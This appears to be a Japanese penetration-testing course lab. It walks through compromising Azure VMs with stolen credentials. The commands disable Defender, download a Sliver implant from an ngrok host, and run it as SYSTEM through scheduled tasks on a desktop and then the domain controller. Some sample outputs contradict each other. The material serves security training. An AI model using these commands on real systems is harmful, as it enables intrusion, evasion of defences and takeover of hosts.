Lab 5.8: アクセスの取得とラテラルムーブメント(オプション)
オフライン演習
接続性: これはオフライン演習です。この演習ではターゲットネットワークに接続する必要はありません。インターネットアクセスが必要です。
目的
- 侵害された認証情報を使用してAzureにログインする
- 認証情報を使用して一般的なAzureの設定ミスをスキャンする
- Azureのネットワーク部分にアクセスせずにシステム上でリモートコマンドを実行する
ラボのセットアップ
使用するVM:
- Linux
ラボ – ステップバイステップの手順
ここから、取得したアクセス権を使用して環境に侵入し、横方向に移動します。まず、アクセス権のあるシステムでコマンドを実行します。インプラントとしてSliverを使用します。このラボの重要な違いの1つは、インターネット経由でシェルを取得するためにコネクトバックサービスを使用する必要があることです。これにはngrokを使用します。
1: ターミナルのセットアップ
新しいターミナルを開き、以下のスクリプトを実行して、4つのタブでターミナルをセットアップします。タブを使用すると、各コマンドをどこで実行すべきかを把握しやすくなります。
コマンド
/opt/setup-azure-lab-terminal.sh
このコマンドは、ターミナルのセットアップ以外の出力はありません。
次の4つのタブを持つターミナルが表示されます:
ngrok
python http
sliver
azure
ターミナルは次のようになります:
ラボを進める際には、これらを念頭に置くことが重要です。
2: Ngrokへのサインアップ
このラボにはNgrokからの接続が必要です。Ngrokの最新バージョンでは、登録なしでクライアントを使用することはできなくなりました。クラスで使用するためにNgrokのバージョンを登録します。Ngrokに料金を支払う必要は*ありません*。無料版を使用します。そのためには、メールアドレス*または*Googleアカウントでサインアップする必要があります。まず、FirefoxでNgrokのウェブサイトにアクセスしましょう。
-
まず、有効なNgrokキーを取得します。これを行うには、Firefoxを開きます。
-
https://ngrok.comに移動します。ページに移動すると、サインアップオプションが表示されます。有効なNgrokアカウントでサインアップするには、ページ上部の
Sign up
ボタンをクリックします。 -
ここから、アカウントにサインアップします。メールアドレスを選択するか、Googleアカウントを使用できます。プライバシー設定の承認、メールアドレスの確認、多要素認証のセットアップのスキップを求められ、その後、簡単なアンケートが表示されます。これらの手順を完了して、認証トークンを取得します。
-
ウェブサイトにログインしたら、Ngrokのダウンロードを指示するページの部分はスキップできます。システムにはすでにコピーが含まれています。
Your Authtoken
メニューをクリックし、Copy
ボタンをクリックしてAuthtokenの文字列をコピーします。 -
次のパートでは、VMに認証トークンを追加します。これを行うには、ターミナルを使用する必要があります。
ngrok
タブを選択します。次に、認証トークンの文字列をコピーして貼り付ける必要があります。以下のコマンドを貼り付けると、ローカルのNgrokが登録され、アカウントにリンクされます。
次に、以下のコマンドを入力し、
AUTHTOKEN_GOES_HERE
を前のステップでコピーしたngrokのトークンに置き換えます。コマンドライン
ngrok config add-authtoken AUTHTOKEN_GOES_HERE
想定される結果
ngrok:~$ ngrok config add-authtoken AUTHTOKEN_GOES_HERE Authtoken saved to configuration file: /home/sec560/.config/ngrok/ngrok.yml ngrok:~$
3: Ngrokのセットアップ
このステップでは、ngrok
というタイトルのターミナルタブを使用します
Ngrokは最近動作方法が変更され、無料アカウントごとに1つのトンネルのみが許可されるようになりました。ただし、この制限を回避するために、同時に2つのトンネルをセットアップできます。これは~/.config/ngrok/ngrok.yml
ファイルにすでにセットアップされています。以下のテキストはすでにファイルに含まれており、同時に2つのトンネルを持つことができます。
tunnels:
ngrok9000:
addr: 9000
proto: http
ngrok9001:
addr: 9001
proto: http
この構成は、ngrok9000
とngrok9001
という名前の2つのトンネルを作成し、両方ともhttp
を実行し、それぞれポート9000
と9001
を使用します。
4: トンネルの起動
このステップでは、ngrok
というタイトルのターミナルタブを使用します
ngrokを実行して、両方のトンネルを起動する必要があります。無料版では1つの接続のみが許可されますが、(上記の構成に従って)複数のトンネルを同時に使用できます。以下のコマンドでNgrokを起動して、両方のトンネルを起動します。トンネル名はランダムであり、コマンドが実行されるたびに変わります。また、トンネルは2時間後に期限切れになることに注意してください。
コマンド
ngrok start ngrok9000 ngrok9001
想定される結果
ngrok:~$ ngrok start ngrok9000 ngrok9001
ngrok (Ctrl+C to quit)
Found a bug? Let us know: https://github.com/ngrok/ngrok
Session Status online
Account Jeff McJunkin (Plan: Free)
Version 3.16.1
Region United States (us)
Latency 151ms
Web Interface http://127.0.0.1:4040
Forwarding https://713a-75-142-13-74.ngrok-free.app -> http://localhost:9001
Forwarding https://f90a-75-142-13-74.ngrok-free.app -> http://localhost:9000
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
このウィンドウをよく見ると、Azureエンドポイントが接続できる2つの外部から利用可能なアドレスが表示されます。この_例_では次のようになります:
https://713a-75-142-13-74.ngrok-free.app -> http://localhost:9001
https://f90a-75-142-13-74.ngrok-free.app -> http://localhost:9000
最初のURLに接続するサービスは、ポート9001でホストに接続します。同様に、2番目のURLに接続するホストは、ポート9000でホストに接続します。URLは非常に似ており、最初の4文字のみが変更されていることに注意してください。
5: Pythonのセットアップ
このステップでは、ターミナルタブpython http
を使用します
ファイルを提供するために、Python3のHTTPサーバーモジュールを使用します。
コマンド
python3 -m http.server 9001
想定される結果
python http:~$ python3 -m http.server 9001
Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0.:9001)
これで、システムにインプラントを提供する方法ができました。
6: Sliverのセットアップ
このステップでは、ターミナルタブsliver
を使用します
次に、sliverをセットアップする必要があります。sliver-server
から始めます。
コマンド
sliver-server
想定される結果
sliver:~$ sliver-server
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
All hackers gain infect
[*] Server v1.5.42 - 85b0e870d05ec47184958dbcb871ddee2eb9e3df
[*] Welcome to the sliver shell, please type 'help' for options
まず、ポート9000でリスナーを起動する必要があります。
コマンド
http -l 9000
想定される結果
sliver > http -l 9000
[*] Starting HTTP :9000 listener ...
[*] Successfully started job #1
Windows用のインプラントを生成します。インプラントを正しい場所に向けるには、ngrok(タブ1)に戻って、適切なHTTPアドレスを取得する必要があります。ワークブックの例では、これは次のようになります:
アドレスの例
https://f90a-75-142-13-74.ngrok-free.app
注意: あなたのアドレスは異なります!
あなたの ngrokシェルに一致するものを確認するには、例の最初に戻ってください。
コマンド
generate --os windows --skip-symbols -e --http https://NGROK9000_HOSTNAME_HERE
想定される結果
[server] sliver > generate --os windows --skip-symbols -e --http https://f90a-75-142-13-74.ngrok-free.app
[*] Generating new windows/amd64 implant binary
[!] Symbol obfuscation is disabled
[*] Build completed in 14s
[*] Implant saved to /home/sec560/TINY_HYDRAULICS.exe
[server] sliver >
注意、NGROK9000_HOSTNAME_HERE
を、タブngrok
からのNgrok URL(http://localhost:9000を指すもの)に置き換えます。また、ファイル名はTINY_HYDRAULICS
とは異なります!名前はランダムな2つの単語です。
インプラントができたので、コマンドラインを介して提供できます。
7: Azureへのログイン
ラボ5.6からまだログインしている場合は、このステップをスキップできる可能性があります
このステップでは、ターミナルタブazure
を使用します
ログインしていない場合は、このコマンドを実行します。
コマンド
az login -u aparker@hiboxy.com -p Oozle11
想定される結果
azure:~$ az login -u aparker@hiboxy.com -p Oozle11
Authentication with username and password in the command line is strongly discouraged. Use one of the recommended authentication methods based on your requirements. For more details, see https://go.microsoft.com/fwlink/?linkid=2276314
[
{
"cloudName": "AzureCloud",
"homeTenantId": "1c0060e4-c4db-4777-a48b-34a1515e33bf",
"id": "5c32501e-9ce5-4776-bf31-d96f8b71769e",
"isDefault": true,
"managedByTenants": [],
"name": "Hiboxy",
"state": "Enabled",
"tenantId": "1c0060e4-c4db-4777-a48b-34a1515e33bf",
"user": {
"name": "aparker@hiboxy.com",
"type": "user"
}
}
]
8: リモートでのコマンド実行
このステップでは、ターミナルタブazure
を使用します
コマンドを実行する前に、いくつかの環境変数を設定する必要があります。まず、ランダムなターゲットマシンを選択します。
コマンド
export TARGET="Win10-Desktop$(shuf -i 1-5 -n1)"
echo $TARGET
想定される結果
azure:~$ export TARGET="Win10-Desktop$(shuf -i 1-5 -n1)"
azure:~$ echo $TARGET
Win10-Desktop#
注意: #
は1から5の間のランダムな数字になります!
次に、ステップ6で生成されたペイロードの名前を取得します。この例では、TINY_HYDRAULICS
と呼ばれていました(.exeを削除します)。あなたの名前は異なります!TINY_HYDRAULICS
をSliverによって生成された名前に置き換えてください!
コマンド
export NAME=TINY_HYDRAULICS
echo $NAME
想定される結果
azure:~$ export NAME=TINY_HYDRAULICS
azure:~$ echo $NAME
TINY_HYDRAULICS
Sliverによって生成された名前を使用してください!
ステップ6で、Sliverはランダムに名前が付けられたexeファイルを生成しました。ファイルのベース名を使用してください(パスや.exeを含めないでください)
ngrok
タブのURLを使用して環境変数を設定します。以下のURLを、ポート9001で使用されるngrok
タブのURLに置き換えてください。
コマンド
export NGROK9001=https://NGROK9001_HOSTNAME_HERE
echo $NGROK9001
NGROK9001_HOSTNAME_HERE
を、ポート9001で実行されているトンネルに関連付けられたドメイン名に置き換えます。
想定される結果
azure:~$ export NGROK9001=https://713a-75-142-13-74.ngrok-free.app
azure:~$ echo $NGROK9001
https://f90a-75-142-13-74.ngrok-free.app
ngrok
タブのURLを使用してください
上記のURLを、ngrok
タブ(2番目のタブ)のURLに置き換えてください。
これで、ペイロードを実行する準備ができました!コマンドは入力が簡単ではないため、コピー/ペーストを使用することをお勧めします。
コマンド
az vm run-command invoke --command-id RunPowerShellScript --name $TARGET -g HIBOXY --script 'Set-MpPreference -DisableRealtimeMonitoring $true; wget '"$NGROK9001"'/'"$NAME"'.exe -UserAgent "CustomUA" -OutFile C:\Windows\Temp\'"$NAME"'.exe; SCHTASKS /Create /TN '"$NAME"' /TR "C:\Windows\Temp\'"$NAME"'.exe" /SC ONEVENT /EC Application /MO *[System/EventID=777] /RU "SYSTEM" /f; SCHTASKS /Run /TN '"$NAME"
想定される結果
azure:~$ az vm run-command invoke --command-id RunPowerShellScript --name $TARGET -g HIBOXY --script 'Set-MpPreference -DisableRealtimeMonitoring $true; wget '"$NGROK9001"'/'"$NAME"'.exe -UserAgent "CustomUA" -OutFile C:\Windows\Temp\'"$NAME"'.exe; SCHTASKS /Create /TN '"$NAME"' /TR "C:\Windows\Temp\'"$NAME"'.exe" /SC ONEVENT /EC Application /MO *[System/EventID=777] /RU "SYSTEM" /f; SCHTASKS /Run /TN '"$NAME"
{
"value": [
{
"code": "ComponentStatus/StdOut/succeeded",
"displayStatus": "Provisioning succeeded",
"level": "Info",
"message": "SUCCESS: Attempted to run the scheduled task \"TINY_HYDRAULICS\".",
"time": null
},
{
"code": "ComponentStatus/StdErr/succeeded",
"displayStatus": "Provisioning succeeded",
"level": "Info",
"message": "WARNING: The task is registered, but not all specified triggers will start the task, check task scheduler event log for detailed information.\n",
"time": null
}
]
}
このコマンドはいくつかの処理を行います:
Set-MpPreference -DisableRealtimeMonitoring $true
: Defenderを無効にします(少なくとも一時的に)wget ...
: NgrokとPython HTTPサーバーを介して実行可能ファイルをダウンロードしますSCHTASKS /Create ...
: システムとして実行されるスケジュールタスクを作成しますSCHTASKS /Run ...
: タスクを実行します
この時点で、Sliverタブに接続が表示されるはずです。
想定される結果
[*] Session 3d99f83e TINY_HYDRAULICS - tcp(127.0.0.1:44136)->20.122.160.145 (Win10-Desktop2) - windows/amd64 - Fri, 13 Sep 2024 01:35:16 UTC
なぜタスクスケジューラーを使用するのでしょうか?インプラントを直接呼び出さないのはなぜでしょうか?run-commandにおける多用途対単一用途の考え方を思い出してください。インプラントを直接呼び出すと、run-commandプロセスがハングします。run-commandプロセスは最終的に終了して再起動し、インプラントを強制終了し、他の受講者がマシンを使用できなくなります。タスクスケジューラーを使用すると、両方の問題が解決されます。タスクスケジューラーをインプラントのフォークと実行として使用します。
これは、システムの悪用が成功したことを示します。Azureポータルへのアクセスのみでデバイス上にシェルを取得できました。このシステムをさらに詳しく調べてみましょう。
9: リモートでのコマンド実行
このステップでは、ターミナルタブsliver
を使用します
これで、sliver
タブを使用してセッションと対話できます。例のセッションIDは3d99f83e
であり、セッションIDの最初の2文字を使用してセッションにアクセスします。セッションIDは異なるため、代わりにセッションIDの最初の2文字を使用してください。
コマンド
use 3d
shell
y
想定される結果
[server] sliver > use 3d
[*] Active session TINY_HYDRAULICS (3d99f83e-7147-4969-9e01-50e56388b0eb)
[server] sliver (TINY_HYDRAULICS) > shell
? This action is bad OPSEC, are you an adult? Yes
[*] Wait approximately 10 seconds after exit, and press <enter> to continue
[*] Opening shell tunnel (EOF to exit) ...
[*] Started remote shell with pid 6252
PS C:\WINDOWS\system32>
エラーが発生した場合、またはshellコマンドが失敗した場合!
rpc error: code = Unknown desc = implant timeout
というメッセージが表示された場合、テストでは、シェルにドロップダウンできず、ラボはここで終了します。侵入後のタスクを実行することはできますが、このラボは便宜上、shell
コマンド専用に作成されています。
コマンドを実行してシェルがハングした場合、CTRL+Cを押すとsliverが強制終了されます。インプラントも失われます。ただし、CTRL+Cを押して終了します。
次に、sliverとリスナーを再起動する必要があります。
コマンドライン
sliver-server
http -l 9000
実行可能ファイルはまだ実行中です。それを強制終了(taskkill
)してから、スケジュールされたタスクを実行して再度起動する必要があります。azure
タブでこのコマンドを実行します。
コマンドライン
az vm run-command invoke --command-id RunPowerShellScript --name $TARGET -g HIBOXY --script 'taskkill /F /IM '"$NAME"'.exe; SCHTASKS /Run /TN '"$NAME"
これで、リモートシステムにアクセスできるようになりました。このシステムにはマネージドIDがあります。マネージドIDを使用すると、Azure管理者は静的なユーザー名やパスワードを気にすることなく、マシンに体系的に権限を割り当てることができます。その後、マシンのIDは他のAzureサービスへの権限に使用されます。ただし、az
CLIツールのようなツールを活用して、そのIDを自分自身で使用することができます。これを調べてみましょう。
10: 状況認識
これをsliver
タブで実行します
マシンを制圧したので、接続できる他のシステムを調べてみましょう。
侵害されたホストから認証しましょう。
コマンド
az login -i
想定される結果
PS C:\WINDOWS\system32> az login -i
az login -i
[
{
"environmentName": "AzureCloud",
"homeTenantId": "1c0060e4-c4db-4777-a48b-34a1515e33bf",
"id": "5c32501e-9ce5-4776-bf31-d96f8b71769e",
"isDefault": true,
"managedByTenants": [],
"name": "Hiboxy",
"state": "Enabled",
"tenantId": "1c0060e4-c4db-4777-a48b-34a1515e33bf",
"user": {
"assignedIdentityInfo": "MSI",
"name": "systemAssignedIdentity",
"type": "servicePrincipal"
}
}
]
次に、マシンのリストを見てみましょう。
コマンド
az vm list -o table
想定される結果
PS C:\WINDOWS\system32> az vm list -o table
Name ResourceGroup Location Zones
-------------- --------------- ---------- -------
hiboxy-dc1 HIBOXY eastus2
Win10-Desktop1 HIBOXY eastus2
Win10-Desktop2 HIBOXY eastus2
Win10-Desktop3 HIBOXY eastus2
Win10-Desktop4 HIBOXY eastus2
Win10-Desktop5 HIBOXY eastus2
ここで、新しいhiboxy-dc1
システムが表示されます。このシステムは外部からは見えませんでした。このシステムのマシンアカウントは、横方向に別の足がかりを得るために使用できるものかもしれません。
ここにはいくつかのオプションがあり、それらはすべて有効である可能性があります。
- Windowsネットワーク上の標準的な攻撃ツールを使用して、ドメインコントローラー上で横方向に移動できます。ResponderやImpacketなどのこれらのツールは、環境で機能する可能性があります。
- 以前と同様にAzure Control Planeを使用して、横方向に移動できます。レガシーネットワークプロトコルに依存するのではなく、マシンにインストールされているエージェントを使用しました。
11: azを使用したラテラルムーブメント(オプション)
このステップは正確に行うのが難しい場合があるため、このステップはオプションです。
sliverクライアントに戻って、以前に使用したのと同じコマンドを実行しますが、今回はターゲットとしてhiboxy-dc1マシンを指定するとどうなるでしょうか?
注意: run-commandがビジー状態であるというメッセージが表示された場合は、1〜2分待ってから再試行してください。
Linuxで実行しているコマンドをコピーして、Windowsホストで動作させるための小さなトリックを使用しましょう。
次のステップではazure
タブに切り替えます
ターゲットをhiboxy-dc1
に変更しましょう
コマンド
export TARGET=hiboxy-dc1
上矢印キーを2回押してaz vm run-command
に移動し、CTRL+Aを押して行の先頭に移動して、echo
と入力します。
コマンド
echo az vm run-command invoke --command-id RunPowerShellScript --name $TARGET -g HIBOXY --script 'Set-MpPreference -DisableRealtimeMonitoring $true; wget '"$NGROK9001"'/'"$NAME"'.exe -UserAgent "CustomUA" -OutFile C:\Windows\Temp\'"$NAME"'.exe; SCHTASKS /Create /TN '"$NAME"' /TR "C:\Windows\Temp\'"$NAME"'.exe" /SC ONEVENT /EC Application /MO *[System/EventID=777] /RU "SYSTEM" /f; SCHTASKS /Run /TN '"$NAME"
想定される結果
azure:~$ echo az vm run-command invoke --command-id RunPowerShellScript --name $TARGET -g HIBOXY --script 'Set-MpPreference -DisableRealtimeMonitoring $true; wget '"$NGROK9001"'/'"$NAME"'.exe -UserAgent "CustomUA" -OutFile C:\Windows\Temp\'"$NAME"'.exe; SCHTASKS /Create /TN '"$NAME"' /TR "C:\Windows\Temp\'"$NAME"'.exe" /SC ONEVENT /EC Application /MO *[System/EventID=777] /RU "SYSTEM" /f; SCHTASKS /Run /TN '"$NAME"
az vm run-command invoke --command-id RunPowerShellScript --name hiboxy-dc1 -g HIBOXY --script Set-MpPreference -DisableRealtimeMonitoring $true; wget https://f90a-75-142-13-74.ngrok-free.app/TINY_HYDRAULICS.exe -UserAgent "CustomUA" -OutFile C:\Windows\Temp\TINY_HYDRAULICS.exe; SCHTASKS /Create /TN TINY_HYDRAULICS /TR "C:\Windows\Temp\TINY_HYDRAULICS.exe" /SC ONEVENT /EC Application /MO *[System/EventID=777] /RU "SYSTEM" /f; SCHTASKS /Run /TN TINY_HYDRAULICS
出力をコピーします。引用符が表示されなくなったことに気付くでしょう。
gedit
を開きます:
コマンド
gedit &
テキストをgeditウィンドウに貼り付けます。2つの変更を行う必要があります。
-
--script
の後に単一引用符を追加して--script Set-MpPreference
を
--script 'Set-MpPreference
にします
-
行の末尾に単一引用符を追加します
次のステップではsliver
タブに切り替えます
編集したコマンドをsliver
タブに貼り付けます。
Sliverに新しいセッションが表示されるはずです。
想定される結果
[*] Session de675833 TINY_HYDRAULICS - tcp(127.0.0.1:35928)->20.94.60.140 (hiboxy-dc1) - windows/amd64 - Fri, 13 Sep 2024 01:38:42 UTC
セッションが入ってくるのが表示されるはずです。コマンドはまだ実行中です。az
コマンドの実行が完了するまでにさらに30秒かかる場合があります。続行する前に、Windowsコマンドプロンプトが戻るのを待ちます。
シェルを終了し、sliverに戻って、このセッションへのアクセスを試みることができます。例のセッションIDはde675833
であり、あなたのセッションIDは異なります。use
コマンドとセッションIDの最初の2文字(de
)を使用してセッションと対話します。代わりにセッションIDの最初の2文字を使用してください。
コマンド
exit
use de
whoami
info
想定される結果
PS C:\Windows\system32> exit
sliver (TINY_HYDRAULICS) > use de
[*] Active session payload (de675833-6a26-4c93-aaab-caafa336d811)
sliver (TINY_HYDRAULICS) > whoami
NT AUTHORITY\SYSTEM
sliver (TINY_HYDRAULICS) > info
Session ID: de675833-6a26-4c93-aaab-caafa336d811
Name: TINY_HYDRAULICS
Hostname: hiboxy-dc1
UUID: 833714b5-57a9-4464-b92d-d47daaed56af
Username: NT AUTHORITY\SYSTEM
UID: S-1-5-18
GID: S-1-5-18
PID: 5908
OS: windows
Version: Server 2016 build 17763 x86_64
Locale: en-US
Arch: amd64
Active C2: https://f90a-75-142-13-74.ngrok-free.app
Remote Address: tcp(127.0.0.1:33754)->20.94.60.140
Proxy URL:
Reconnect Interval: 1m0s
First Contact: Fri Sep 13 01:38:42 UTC 2023 (4m9s ago)
Last Checkin: Fri Sep 13 22:41:51 UTC 2023 (36s ago)
これで、DCを制圧しました。このシステムは、Entra IDに同期されたユーザーを持つドメインコントローラーです。ボーナス演習として、ユーザーのLDAP設定のsourceAnchor属性を使用して、同期されたアカウントを持つユーザーを探すことができます: ms-DS-ConsistencyGuid。
結論
このラボでは、2つのデバイスを制圧しました。以前のラボとは明らかに異なり、データプレーンやホスト間の標準的なネットワークソケットは使用しませんでした。代わりに、コントロールプレーン、つまりAzure制御アセットと内部Azureシステム間の通信チャネルを活用しました。